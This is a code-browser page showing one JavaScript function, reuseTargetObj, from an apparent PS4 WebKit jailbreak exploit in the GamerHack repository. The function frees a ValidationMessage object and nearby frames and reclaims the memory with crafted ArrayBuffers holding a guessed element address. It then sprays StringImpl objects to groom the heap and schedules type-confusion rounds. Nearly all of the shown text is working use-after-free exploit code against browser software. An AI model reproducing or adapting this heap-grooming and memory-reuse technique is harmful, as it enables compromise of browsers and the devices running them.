MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / reuseTargetObj

Function reuseTargetObj

restore/75x/ps4.js:321–358  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

319}
320
321function reuseTargetObj() {
322 /* Delete ValidationMessage instance */
323 document.body.appendChild(g_input);
324
325 /*
326 * Free ValidationMessage neighboors.
327 * SmallLine is freed -> SmallPage is cached
328 */
329 for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
330 g_frames[i].setAttribute("rows", ',');
331
332 /* Get back target object */
333 for (let i = 0; i < NB_REUSE; i++) {
334 let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
335 let view = new Float64Array(ab);
336
337 view[0] = guess_htmltextarea_addr.asDouble(); // m_element
338 view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble
339
340 g_arr_ab_1.push(view);
341 }
342
343 if (g_round == 1) {
344 /*
345 * Spray a couple of StringImpl obj. prior to Timer allocation
346 * This will force Timer allocation on same SmallPage as our Strings
347 */
348 sprayStringImpl(0, SPRAY_STRINGIMPL);
349
350 g_frames = [];
351 g_round += 1;
352 g_input = input3;
353
354 setTimeout(confuseTargetObjRound1, 10);
355 } else {
356 setTimeout(confuseTargetObjRound2, 10);
357 }
358}
359
360function dumpTargetObj() {
361 debug_log("[+] m_timer: " + g_timer_leak);

Callers

nothing calls this directly

Calls 1

sprayStringImplFunction · 0.70

Tested by

no test coverage detected